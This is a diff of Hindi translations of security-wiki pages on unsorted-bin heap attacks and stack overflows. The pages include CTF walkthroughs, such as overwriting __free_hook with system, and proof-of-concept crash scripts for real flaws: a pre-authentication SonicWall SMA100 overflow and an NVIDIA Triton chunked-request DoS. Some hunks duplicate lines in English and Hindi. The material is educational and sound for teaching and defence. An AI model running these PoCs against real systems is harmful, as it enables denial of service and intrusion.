-Goal: unsorted‑bin insertion primitive का उपयोग करके एक heap pointer को arbitrary address पर एक single arbitrary write हासिल करना, बिना crash किए। +Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing. - Layout/grooming - - A, B, C allocate करें जिनके sizes tcache को बायपास करने के लिए बड़े हों (उदाहरण के लिए 0x5000)। C top chunk के साथ consolidation को रोकेगा। +- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk. - Corruption - - A से B के chunk header में overflow करके `B->bk = (mchunkptr)(TARGET - 0x10)` सेट करें। +- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`. - Trigger - - `free(B)`। insertion के समय allocator `bck->fd = B` execute करता है, इसलिए `*(TARGET) = B` होगा। +- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`. - Continuation - - अगर आप आगे allocations करने की योजना बना रहे हैं और प्रोग्राम unsorted bin का उपयोग करता है, तो उम्मीद रखें कि बाद में allocator `*(TARGET) = unsorted_chunks(av)` सेट कर देगा। दोनों मान आमतौर पर बड़े होते हैं और उन targets में size/limit semantics बदलने के लिए पर्याप्त हो सकते हैं जो केवल "big" की जाँच करते हैं। +- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big". Pseudocode skeleton: ```c @@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • यदि आप size से tcache को बाइपास नहीं कर पाते हैं, तो चुने गए आकार के लिए tcache bin को भरें (7 frees) पहले corrupted chunk को free करने से पहले ताकि free unsorted में जाए। -> • यदि अगली allocation पर unsorted-bin checks के कारण प्रोग्राम तुरंत abort कर देता है, तो फिर जांचें कि `victim->fd` अभी भी bin head के बराबर है और आपका `TARGET` पहले write के बाद ठीक वही `victim` pointer रखता है। +> • अगर आप size से tcache को bypass नहीं कर पा रहे हैं, तो corrupted chunk को free करने से पहले चुने हुए size की tcache bin को भर दें (7 frees) ताकि free unsorted में जाए। +> • अगर program अगली allocation पर तुरंत unsorted-bin checks के कारण abort कर देता है, तो फिर जाँच करें कि `victim->fd` अभी भी bin head के बराबर है और आपका `TARGET` पहले write के बाद exact `victim` pointer रखता है। ## Unsorted Bin Infoleak Attack -यह वास्तव में एक बहुत ही बुनियादी अवधारणा है। unsorted bin में जो chunks होते हैं उनमें pointers होते हैं। unsorted bin का पहला chunk वास्तव में **`fd`** और **`bk`** links रखेगा जो **main arena (Glibc)** के एक हिस्से की ओर इशारा करते हैं.\ -इसलिए, यदि आप **एक chunk को unsorted bin में रखकर और उसे पढ़कर** (use after free) या **कम से कम 1 pointer को overwrite किए बिना उसे फिर से allocate करके** और फिर **पढ़कर** देख सकें, तो आप **Glibc info leak** प्राप्त कर सकते हैं। +यह वास्तव में एक बहुत बुनियादी अवधारणा है। unsorted bin में मौजूद chunks में pointers होते हैं। unsorted bin का पहला chunk वास्तव में **`fd`** और **`bk`** लिंक रखेगा जो **main arena (Glibc)** के किसी हिस्से की ओर इशारा करते हैं।\ +इसलिए, अगर आप **कोई chunk unsorted bin में डालकर उसे पढ़ सकते हैं** (use after free) या **कम से कम 1 pointer को overwrite किए बिना उसे फिर से allocate करके पढ़ सकें**, तो आपको **Glibc info leak** मिल सकता है। -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), था 4 chunks संरचना (A, B, C और D - D केवल top chunk के साथ consolidation रोकने के लिए) का दुरुपयोग करना, इसलिए B में null byte overflow का इस्तेमाल करके C को यह दिखाने के लिए किया गया कि B unused है। साथ ही, B में `prev_size` डेटा को modify किया गया ताकि size B के आकार की बजाय A+B हो।\ -फिर C को deallocate किया गया, और A+B के साथ consolidate किया गया (लेकिन B अभी भी इस्तेमाल में था)। A के आकार का नया chunk allocate किया गया और फिर libc leaked addresses को B में लिखा गया जहाँ से वे leak हुए थे। +A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), था 4 chunks की संरचना (A, B, C और D - D केवल top chunk के साथ consolidation को रोकने के लिए) का दुरुपयोग, जहां B में एक null byte overflow का उपयोग किया गया ताकि C यह दर्शाए कि B unused था। साथ ही, B में `prev_size` डेटा को modify किया गया ताकि size B के size के बजाय A+B दिखे।\ +फिर C को deallocated किया गया और A+B के साथ consolidated किया गया (लेकिन B अभी भी use में था)। A के size का एक नया chunk allocate किया गया और फिर libc leaked addresses को B में लिखा गया, जहाँ से वे leak हुए थे। ## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- लक्ष्य यह है कि एक global variable को 4869 से बड़ा मान देकर overwrite किया जाए ताकि flag प्राप्त करना संभव हो और PIE enabled न हो। -- किसी भी इच्छित आकार के chunks generate करना संभव है और वहाँ heap overflow मौजूद है जिसकी आकांक्षित size है। -- हमला 3 chunks बनाकर शुरू होता है: chunk0 overflow को abuse करने के लिए, chunk1 जिसे overflow किया जाएगा और chunk2 ताकि top chunk पिछले chunks को consolidate न करे। -- फिर, chunk1 को free किया जाता है और chunk0 को overflow किया जाता है ताकि chunk1 का `bk` pointer इस पर प्वाइंट करे: `bk = magic - 0x10` -- फिर, chunk3 को chunk1 के समान size के साथ allocate किया जाता है, जो unsorted bin attack को trigger करेगा और global variable का मान modify कर देगा, जिससे flag प्राप्त करना संभव हो जाएगा। +- लक्ष्य एक global variable को 4869 से बड़े मान से overwrite करना है ताकि flag प्राप्त करना संभव हो और PIE enabled नहीं हो। +- arbitrary sizes के chunks generate करना संभव है और desired size के साथ एक heap overflow मौजूद है। +- हमला 3 chunks बनाकर शुरू होता है: chunk0 overflow को abuse करने के लिए, chunk1 जिसे overflow किया जाएगा और chunk2 ताकि top chunk पिछले ones को consolidate न करे। +- फिर chunk1 को freed किया जाता है और chunk0 को overflow किया जाता है ताकि chunk1 का `bk` pointer इस तरफ इशारा करे: `bk = magic - 0x10` +- फिर chunk3 को chunk1 के समान size से allocate किया जाता है, जो unsorted bin attack को trigger करेगा और global variable का मान modify करेगा, जिससे flag मिलना संभव हो जाएगा। - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- merge function vulnerable है क्योंकि यदि दोनों पास किए गए indexes एक ही हों तो यह उस पर realloc करेगा और फिर उसे free कर देगा पर freed region का pointer return करेगा जिसे उपयोग किया जा सकता है। -- इसलिए, **2 chunks बनाए जाते हैं**: **chunk0** जिसे self के साथ merge किया जाएगा और chunk1 ताकि top chunk के साथ consolidation न हो। फिर, **merge function को chunk0 के साथ** दो बार कॉल किया जाता है जिससे use after free होगा। -- फिर, **`view`** function को index 2 के साथ कॉल किया जाता है (जो use after free chunk का index है), जो **libc address leak** करेगा। -- चूंकि binary में protections हैं जो केवल `global_max_fast` से बड़े sizes को malloc करने की अनुमति देते हैं इसलिए कोई fastbin इस्तेमाल नहीं होता, एक unsorted bin attack का उपयोग किया जाएगा ताकि global variable `global_max_fast` को overwrite किया जा सके। -- फिर, edit function को index 2 (use after free pointer) के साथ कॉल किया जा सकता है और `bk` pointer को overwrite करके `p64(global_max_fast-0x10)` की ओर प्वाइंट कराया जा सकता है। फिर, एक नया chunk बनाना पहले compromised free address (0x20) का उपयोग करेगा और यह **unsorted bin attack** को trigger करेगा जिससे `global_max_fast` overwrite हो जाएगा जिससे बहुत बड़ा मान बन जाएगा और अब fast bins में chunks बनाना संभव होगा। +- merge function vulnerable है क्योंकि अगर दोनों पास किए गए indexes एक ही हैं तो यह उस पर realloc करेगा और फिर उसे free करेगा पर freed region का pointer वापस करेगा जिसे reuse किया जा सकता है। +- इसलिए, **2 chunks बनाए जाते हैं**: **chunk0** जिसे खुद के साथ merge किया जाएगा और chunk1 ताकि top chunk के साथ consolidate न हो। फिर, **merge function को chunk0 के साथ** दो बार कॉल किया जाता है जिससे use after free होगा। +- फिर, **`view`** function को index 2 के साथ बुलाया जाता है (जो use after free chunk का index है), जो एक libc address leak करेगा। +- चूँकि binary में protections हैं ताकि केवल `global_max_fast` से बड़े sizes ही malloc हों और इसलिए कोई fastbin use न हो, तो unsorted bin attack का उपयोग करके global variable `global_max_fast` को overwrite किया जाएगा। +- फिर, edit function को index 2 (use after free pointer) के साथ कॉल करना संभव है और `bk` pointer को `p64(global_max_fast-0x10)` की ओर overwrite किया जा सकता है। फिर, नया chunk बनाना previously compromised free address (0x20) का उपयोग करेगा और यह **unsorted bin attack** को trigger करेगा, `global_max_fast` को एक बहुत बड़े मान से overwrite करते हुए, जिससे अब fast bins में chunks बनाना संभव हो जाएगा। - अब एक **fast bin attack** किया जाता है: -- सबसे पहले पता चलता है कि `__free_hook` location में fast **chunks of size 200** के साथ काम करना संभव है: +- सबसे पहले यह पाया गया कि fast **chunks of size 200** को `__free_hook` स्थान में काम में लाया जा सकता है: - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,17 +115,17 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- यदि हम इस location में size 0x200 का एक fast chunk प्राप्त करने में सफल होते हैं, तो यह एक function pointer को overwrite करने में सक्षम होगा जो execute होगा। -- इसके लिए, size `0xfc` का एक नया chunk बनाया जाता है और उस pointer के साथ merged function को दो बार कॉल किया जाता है, इस तरह हमें fast bin में size `0xfc*2 = 0x1f8` का freed chunk का pointer मिलता है। -- फिर, edit function को इस chunk में कॉल किया जाता है ताकि इस fast bin के **`fd`** address को पिछले **`__free_hook`** function की ओर point करने के लिए modify किया जा सके। -- फिर, size `0x1f8` का एक chunk बनाया जाता है ताकि fast bin से पिछला बेकार chunk निकाला जा सके, फिर एक और size `0x1f8` का chunk बनाया जाता है ताकि `__free_hook` में एक fast bin chunk मिल सके जिसे **`system`** function के address से overwrite किया जाता है। -- और अंत में `/bin/sh\x00` string वाला एक chunk free किया जाता है delete function को कॉल करके, जिससे **`__free_hook`** trigger होता है जो कि system की ओर point करता है और `/bin/sh\x00` को parameter के रूप में देता है। +- अगर हम इस स्थान पर size 0x200 का एक fast chunk पा लें, तो किसी function pointer को overwrite करना संभव होगा जो execute होगा। +- इसके लिए, एक नया chunk size `0xfc` का बनाया गया और merged function को उस pointer के साथ दो बार कॉल किया गया, इस तरह हमें fast bin में size `0xfc*2 = 0x1f8` का freed chunk का pointer मिला। +- फिर, edit function को इस chunk पर बुलाया गया ताकि fast bin के इस chunk का **`fd`** address previous `__free_hook` function की तरफ point करे। +- फिर, size `0x1f8` का एक chunk बनाया जाता है ताकि fast bin से previous useless chunk मिल सके और फिर एक और size `0x1f8` का chunk बनाकर fast bin में `__free_hook` स्थान पर chunk प्राप्त किया जाता है और वहां `system` function के address से overwrite कर दिया जाता है। +- और अंत में `/bin/sh\x00` string वाला एक chunk बनाया जाता है और delete function द्वारा free किया जाता है, जिससे `__free_hook` function trigger होता है जो अब system की ओर इशारा करता है और `/bin/sh\x00` उसे parameter के रूप में मिलता है। - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- 1B overflow का दुरुपयोग करके chunks को unsorted bin में consolidate कर के libc infoleak हासिल करने और फिर malloc hook को one gadget address से overwrite करने के लिए fast bin attack करने का एक और उदाहरण। +- 1B overflow का दुरुपयोग करके chunks को unsorted bin में consolidate करके libc infoleak प्राप्त करने और फिर malloc hook को एक one gadget address से overwrite करने के लिए fast bin attack करने का एक और उदाहरण। - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- हम केवल `0x100` से बड़े आकार के chunks ही allocate कर सकते हैं। -- Unsorted Bin attack का उपयोग करके `global_max_fast` को overwrite करें (ASLR के कारण यह 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स modify करने की जरूरत है, पर हमें 16 बिट्स modify करने होंगे)। -- Fast Bin attack से एक global array of chunks को modify किया जाता है। इससे एक arbitrary read/write primitive मिल जाता है, जो GOT को modify करने और किसी function को `system` की ओर point कराने की अनुमति देता है। +- हम केवल `0x100` से बड़े sizes के chunks ही allocate कर सकते हैं। +- Unsorted Bin attack का उपयोग करके `global_max_fast` को overwrite करें (ASLR के कारण यह 1/16 बार काम करता है, क्योंकि हमें 12 bits बदलने की ज़रूरत है, पर वास्तव में 16 bits बदलने होंगे)। +- Fast Bin attack करके एक global array of chunks को modify किया जाता है। इससे एक arbitrary read/write primitive मिलता है, जो GOT को modify करने और किसी function को `system` की ओर निर्देशित करने की सुविधा देता है। ## References diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index e7232b49c..479d08330 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,15 +4,15 @@ ## Stack Overflow क्या है -A **stack overflow** एक ऐसी vulnerability है जो तब होती है जब कोई प्रोग्राम stack में उस मात्रा से अधिक डेटा लिख देता है जितना उसे होल्ड करने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **adjacent memory space को overwrite** कर देगा, जिससे वैध डेटा का भ्रष्ट होना, control flow का बाधित होना, और संभावित रूप से malicious code का execution हो सकता है। यह समस्या अक्सर unsafe functions के उपयोग के कारण आती है जो इनपुट पर bounds checking नहीं करते। +A **stack overflow** एक vulnerability है जो तब होती है जब कोई program stack में उस से अधिक data लिख देता है जितना उसके लिए allocate किया गया है। यह अतिरिक्त data **overwrite adjacent memory space** कर देगा, जिससे valid data का corruption, control flow में बाधा, और संभावित रूप से malicious code का execution हो सकता है। यह समस्या अक्सर unsafe functions के इस्तेमाल के कारण होती है जो input पर bounds checking नहीं करते। -मुख्य समस्या इस overwrite की यह है कि **saved instruction pointer (EIP/RIP)** और **saved base pointer (EBP/RBP)**, जो previous function पर लौटने के लिए उपयोग होते हैं, **stack पर stored** होते हैं। इसलिए, एक attacker उनको overwrite कर सकेगा और प्रोग्राम के execution flow को **control** कर सकेगा। +इस overwrite की मुख्य समस्या यह है कि **saved instruction pointer (EIP/RIP)** और वह **saved base pointer (EBP/RBP)** जो previous function पर लौटने के लिए होते हैं, **stack पर stored** होते हैं। इसलिए, एक attacker उनको overwrite करके प्रोग्राम के execution flow को **control the execution flow of the program** कर सकेगा। -यह vulnerability आमतौर पर इसलिए उत्पन्न होती है क्योंकि कोई function **stack के अंदर उस के लिए आवंटित मात्रा से अधिक bytes copy करता है**, जिससे वह स्टैक के अन्य हिस्सों को overwrite करने में सक्षम हो जाता है। +यह vulnerability आमतौर पर तब उत्पन्न होती है जब कोई function **stack के अंदर allocated मात्रा से अधिक bytes copy कर देता है**, जिससे वह stack के अन्य हिस्सों को overwrite कर सकता है। -कुछ सामान्य functions जो इस के लिए vulnerable हो सकते हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... साथ ही, ऐसे functions जैसे **`fgets`**, **`read`** और **`memcpy`** जो एक **length argument** लेते हैं, यदि निर्दिष्ट length आवंटित मात्रा से अधिक हो तो vulnerable तरीके से उपयोग किए जा सकते हैं। +कुछ सामान्य functions जो इस के प्रति vulnerable होते हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... साथ ही, ऐसे functions जैसे **`fgets`**, **`read`** & **`memcpy`** जो एक **length argument** लेते हैं, vulnerable तरीके से इस्तेमाल किए जा सकते हैं अगर निर्दिष्ट length allocated से अधिक हो। -For example, the following functions could be vulnerable: +उदाहरण के लिए, निम्नलिखित functions vulnerable हो सकते हैं: ```c void vulnerable() { char buffer[128]; @@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Stack Overflows offsets ढूँढना +### Finding Stack Overflows offsets -Stack overflows खोजने का सबसे सामान्य तरीका बहुत बड़ा `A` इनपुट देना है (उदा. `python3 -c 'print("A"*1000)'`) और फिर `Segmentation Fault` की उम्मीद करना है, जो यह दर्शाता है कि **address `0x41414141` को एक्सेस करने की कोशिश की गई थी**। +The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. -इसके अलावा, एक बार जब आप पाते हैं कि Stack Overflow vulnerability है, तो आपको वह offset ढूँढना होगा जहाँ तक कि **return address को overwrite करना** संभव हो; इसके लिए आमतौर पर **De Bruijn sequence** का उपयोग किया जाता है। दिए गए alphabet के आकार _k_ और subsequences की लंबाई _n_ के लिए यह एक **cyclic sequence है जिसमें हर संभव subsequence जिसकी लंबाई _n_ है, बिल्कुल एक बार** contiguous subsequence के रूप में दिखाई देता है। +Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** as a contiguous subsequence. -इस तरह, हाथ से यह पता लगाने की बजाय कि EIP को control करने के लिए कौन सा offset चाहिए, आप padding के रूप में इन sequences में से एक का उपयोग कर सकते हैं और फिर उन bytes का offset पता लगा सकते हैं जिन्होंने अंततः उसे overwrite कर दिया। +This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. -इसके लिए **pwntools** का उपयोग किया जा सकता है: +It's possible to use **pwntools** for this: ```python from pwn import * @@ -48,12 +48,13 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Stack Overflows का शोषण +## Exploiting Stack Overflows -During an overflow (supposing the overflow size if big enough) you will be able to **ओवरराइट** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ -The most common way to abuse this type of vulnerability is by **रिटर्न एड्रेस को मॉडिफाइ करना** ताकि जब फ़ंक्शन समाप्त हो तो **कंट्रोल फ्लो उस प्वाइंटर में यूज़र द्वारा निर्धारित जगह पर रीडायरेक्ट हो जाए**। +During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ +सबसे सामान्य तरीका इस प्रकार की vulnerability का दुरुपयोग करने का यह है कि आप **return address को modify** कर दें ताकि जब function समाप्त हो तो **control flow उस पते पर redirect हो जाए जिसे attacker ने निर्दिष्ट किया है**। -हालाँकि, अन्य परिदृश्यों में सिर्फ़ स्टैक में कुछ वेरिएबल्स के मान **ओवरराइट** करना ही exploit के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)। +However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).\ +हालाँकि, अन्य परिस्थितियों में सिर्फ stack में कुछ variables के मान **overwrite** कर देना exploit के लिए पर्याप्त हो सकता है (जैसे आसान CTF challenges में)। ### Ret2win @@ -66,7 +67,8 @@ ret2win/ ### Stack Shellcode -इस परिदृश्य में हमलावर स्टैक में shellcode रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके shellcode पर कूदकर arbitrary code निष्पादित कर सकता है: +In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:\ +इस स्थिति में attacker stack में shellcode रख सकता है और controlled EIP/RIP का उपयोग करके shellcode पर jump कर arbitrary code execute करवा सकता है: {{#ref}} @@ -75,7 +77,8 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start. +On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.\ +32-bit Windows पर, overflow saved return address के बजाय Structured Exception Handler (SEH) chain को overwrite कर सकता है। Exploitation आम तौर पर SEH pointer को एक POP POP RET gadget से replace करता है और 4-byte nSEH field का उपयोग एक short jump के लिए करता है ताकि वह बड़े buffer में वापस pivot कर सके जहाँ shellcode मौजूद है। एक सामान्य पैटर्न यह है कि nSEH में छोटा jmp होता है जो nSEH के ठीक पहले रखे गए 5-byte near jmp पर land करता है ताकि payload की शुरुआत तक सैकड़ों bytes पीछे कूदा जा सके। {{#ref}} @@ -84,7 +87,8 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: +This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:\ +यह technique पुराने तरीके की मुख्य सुरक्षा को bypass करने के लिए मूल framework है: **No executable stack (NX)**। और यह कई अन्य techniques (ret2lib, ret2syscall...) करने की अनुमति देता है जो binary में मौजूद instructions का दुरुपयोग कर arbitrary commands execute करवा देंगी: {{#ref}} @@ -93,7 +97,8 @@ This technique is the fundamental framework to bypass the main protection to the ## Heap Overflows -An overflow is not always going to be in the stack, it could also be in the **heap** for example: +An overflow is not always going to be in the stack, it could also be in the **heap** for example:\ +Overflow हमेशा stack में ही नहीं होता, यह उदाहरण के तौर पर **heap** में भी हो सकता है: {{#ref}} @@ -102,7 +107,8 @@ An overflow is not always going to be in the stack, it could also be in the **he ## Types of protections -There are several protections trying to prevent the exploitation of vulnerabilities, check them in: +There are several protections trying to prevent the exploitation of vulnerabilities, check them in:\ +विभिन्न protections मौजूद हैं जो vulnerabilities के exploitation को रोकने की कोशिश करती हैं; इन्हें नीचे देखें: {{#ref}} @@ -111,7 +117,8 @@ There are several protections trying to prevent the exploitation of vulnerabilit ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -A good demonstration of why **`sscanf` को अनट्रस्टेड इनपुट पार्स करने के लिए कभी भरोसा नहीं किया जाना चाहिए** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance. +A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.\ +यह एक अच्छा उदाहरण है कि क्यों **`sscanf` को untrusted input parsing के लिए कभी भरोसा नहीं किया जाना चाहिए** — यह मामला 2025 में SonicWall के SMA100 SSL-VPN appliance में सामने आया। The vulnerable routine inside `/usr/src/EasyAccess/bin/httpd` attempts to extract the version and endpoint from any URI that begins with `/__api__/`: ```c char version[3]; @@ -120,25 +127,25 @@ char endpoint[0x800] = {0}; sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. पहला conversion (`%2s`) सुरक्षित रूप से `version` में **दो** bytes स्टोर करता है (उदा. `"v1"`). -2. दूसरा conversion (`%s`) **कोई length specifier नहीं** है, इसलिए `sscanf` **पहले NUL byte** तक कॉपी करना जारी रखेगा। -3. क्योंकि `endpoint` **stack** पर स्थित है और **0x800 bytes long** है, 0x800 bytes से लंबा path देने पर buffer के बाद जो कुछ भी है वह corrupt हो जाएगा ‑ इसमें **stack canary** और **saved return address** भी शामिल हैं। +2. दूसरा conversion (`%s`) **कोई length specifier नहीं रखता**, इसलिए `sscanf` **पहले NUL byte तक** कॉपी करता रहेगा। +3. क्योंकि `endpoint` **stack** पर स्थित है और इसकी लंबाई **0x800 bytes** है, 0x800 bytes से लंबा path देने पर buffer के बाद जो कुछ भी है वह corrupt हो जाता है ‑ जिसमें **stack canary** और **saved return address** भी शामिल हैं। -एक single-line proof-of-concept क्रैश को ट्रिगर करने के लिए पर्याप्त है, और यह कर देता है **authentication से पहले**: +एक single-line proof-of-concept authentication से पहले crash trigger करने के लिए पर्याप्त है: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -हालाँकि stack canaries प्रक्रिया को रोक देते हैं, एक हमलावर फिर भी एक **Denial-of-Service** primitive हासिल कर लेता है (और, अतिरिक्त information leaks के साथ, संभवतः code-execution)। सबक सरल है: +हालाँकि stack canaries प्रक्रिया को abort कर देते हैं, attacker फिर भी एक **Denial-of-Service** primitive हासिल कर लेता है (और अतिरिक्त information leaks के साथ, संभवतः code-execution)। सबक सरल है: -* हमेशा एक **अधिकतम फ़ील्ड चौड़ाई** प्रदान करें (उदा. `%511s`)। -* ऐसे सुरक्षित विकल्पों को प्राथमिकता दें जैसे `snprintf`/`strncpy_s`। +* हमेशा एक **maximum field width** प्रदान करें (उदा. `%511s`)। +* ऐसे सुरक्षित विकल्पों को प्राथमिकता दें: `snprintf`/`strncpy_s`। -### वास्तविक दुनिया का उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) +### वास्तविक उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA’s Triton Inference Server (≤ v25.06) में इसके HTTP API के माध्यम से पहुँचने योग्य कई **stack-based overflows** थे। -यह कमजोर पैटर्न बार-बार `http_server.cc` और `sagemaker_server.cc` में दिखाई देता था: +NVIDIA का Triton Inference Server (≤ v25.06) में कई **stack-based overflows** थे जो इसके HTTP API के माध्यम से पहुँच योग्य थे। +यह कमजोर पैटर्न बार-बार `http_server.cc` और `sagemaker_server.cc` में दिखाई दिया: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -148,11 +155,11 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) वर्तमान HTTP request body को बनाकर रखने वाले **आंतरिक बफर सेगमेंट्स की संख्या** लौटाता है। -2. प्रत्येक सेगमेंट `alloca()` के माध्यम से **stack** पर एक **16-byte** `evbuffer_iovec` आवंटित करवा देता है – **बिना किसी ऊपरी सीमा के**। -3. **HTTP _chunked transfer-encoding_** का दुरुपयोग करके, एक client अनुरोध को **सैकड़ों-हज़ारों 6-byte chunks** (`"1\r\nA\r\n"`) में विभाजित करने के लिए मजबूर कर सकता है। इससे `n` अनियंत्रित रूप से बढ़ता जाता है जब तक **stack** समाप्त न हो जाए। +1. `evbuffer_peek` (libevent) वर्तमान HTTP request body को बनाने वाले **आंतरिक बफ़र सेगमेंट्स की संख्या** लौटाता है. +2. प्रत्येक सेगमेंट `alloca()` के माध्यम से **stack** पर एक **16-byte** `evbuffer_iovec` को आवंटित कराता है – **कोई ऊपरी सीमा नहीं**. +3. दुरुपयोग करके **HTTP _chunked transfer-encoding_**, एक क्लाइंट अनुरोध को **सैकड़ों-हज़ारों 6-byte खंडों** (`"1\r\nA\r\n"`) में बाँटने को मजबूर कर सकता है। यह `n` को बिना सीमा के बढ़ा देता है जब तक कि **stack** समाप्त न हो जाए. -#### प्रूफ-ऑफ-कॉन्सेप्ट (DoS) +#### प्रूफ-ऑफ़-कॉन्सेप्ट (DoS) ```python #!/usr/bin/env python3 import socket, sys @@ -176,10 +183,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -एक ~3 MB request default build पर saved return address को overwrite करके daemon को **crash** करने के लिए पर्याप्त है। +लगभग 3 MB की एक request saved return address को overwrite करने और default build पर daemon को **क्रैश** करने के लिए पर्याप्त है। #### पैच और निवारण -25.07 रिलीज़ unsafe stack allocation को **heap-backed `std::vector`** से बदलती है और `std::bad_alloc` को सही तरीके से संभालती है: +25.07 release असुरक्षित stack allocation को **heap-backed `std::vector`** से बदलता है और `std::bad_alloc` को सहजता से हैंडल करता है: ```c++ std::vector v_vec; try { @@ -189,10 +196,10 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); } struct evbuffer_iovec *v = v_vec.data(); ``` -सीखे गए सबक: -* कभी भी attacker-controlled sizes के साथ `alloca()` को कॉल न करें। -* Chunked requests सर्वर-साइड बफर्स के आकार को नाटकीय रूप से बदल सकते हैं। -* client input से प्राप्त किसी भी value को memory allocations में उपयोग करने से *पहले* validate / cap करें। +सीखे गए पाठ: +* कभी `alloca()` को attacker-controlled sizes के साथ कॉल न करें। +* Chunked requests सर्वर-side buffers के आकार को नाटकीय रूप से बदल सकते हैं। +* client input से प्राप्त किसी भी value को memory allocations में उपयोग करने से *पहले* Validate / cap करें। ## संदर्भ * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 